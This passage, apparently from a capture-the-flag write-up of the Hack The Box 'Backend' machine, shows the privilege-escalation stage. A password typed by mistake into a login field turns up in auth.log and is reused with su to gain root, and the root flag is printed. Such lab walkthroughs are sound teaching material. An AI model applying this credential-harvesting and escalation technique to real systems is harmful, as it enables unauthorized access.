htb@Backend:~/uhc$ export TERM=xterm
htb@Backend:~/uhc$ export SHELL=bash
htb@Backend:~/uhc$ stty rows 50 columns 158
System enumeration
At the current working directory we have these files:
htb@Backend:~/uhc$ ls -la
total 80
drwxrwxr-x 1 htb htb 296 Apr 15 03:56 .
drwxr-xr-x 1 htb htb 192 Apr 15 03:56 ..
drwxrwxr-x 1 htb htb 138 Apr 6 13:27 .git
-rw-rw-r-- 1 htb htb 18 Apr 6 13:27 .gitignore
drwxr-xr-x 1 htb htb 66 Apr 9 15:10 .venv
drwxr-xr-x 1 htb htb 54 Apr 10 00:59 __pycache__
drwxrwxr-x 1 htb htb 90 Apr 6 14:43 alembic
-rwxrwxr-x 1 htb htb 1592 Apr 6 13:27 alembic.ini
drwxrwxr-x 1 htb htb 218 Apr 10 01:02 app
-rw-r--r-- 1 htb htb 3998 Apr 15 04:08 auth.log
-rwxrwxr-x 1 htb htb 127 Apr 6 18:31 builddb.sh
-rw-rw-r-- 1 htb htb 19353 Apr 6 13:27 poetry.lock
-rw-rw-r-- 1 htb htb 2750 Apr 10 01:36 populateauth.py
-rwxrwxr-x 1 htb htb 171 Apr 6 13:27 prestart.sh
-rw-rw-r-- 1 htb htb 332 Apr 6 13:27 pyproject.toml
-rw-rw-r-- 1 htb htb 118 Apr 9 15:10 requirements.txt
-rwxrwxr-x 1 htb htb 241 Apr 10 01:02 run.sh
-rw-r--r-- 1 htb htb 24576 Apr 15 03:49 uhc.db
If we check auth.log
, we see some events from admin@htb.local
, and a strange value Tr0ub4dor&3
:
htb@Backend:~/uhc$ head -15 auth.log
04/14/2022, 07:16:39 - Login Success for admin@htb.local
04/14/2022, 07:19:59 - Login Success for admin@htb.local
04/14/2022, 07:33:19 - Login Success for admin@htb.local
04/14/2022, 07:36:39 - Login Success for admin@htb.local
04/14/2022, 07:41:39 - Login Success for admin@htb.local
04/14/2022, 07:44:59 - Login Success for admin@htb.local
04/14/2022, 07:58:19 - Login Success for admin@htb.local
04/14/2022, 08:06:39 - Login Success for admin@htb.local
04/14/2022, 08:08:19 - Login Success for admin@htb.local
04/14/2022, 08:14:59 - Login Success for admin@htb.local
04/14/2022, 08:23:19 - Login Failure for Tr0ub4dor&3
04/14/2022, 08:24:54 - Login Success for admin@htb.local
04/14/2022, 08:24:59 - Login Success for admin@htb.local
04/14/2022, 08:25:19 - Login Success for admin@htb.local
04/14/2022, 08:26:39 - Login Success for admin@htb.local
The user htb
belongs to groups sudo
and lxd
, which can be useful to escalate privileges:
htb@Backend:~/uhc$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Privilege escalation
We can try to use this strange value as the password for htb
(to gain root
privileges using sudo
):
htb@Backend:~/uhc$ sudo su
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 1 incorrect password attempt
It doesn’t work, but it does for root
:
htb@Backend:~/uhc$ su root
Password:
root@Backend:/home/htb/uhc# cat /root/root.txt
6ec23ed1654a955109e42bb23d730973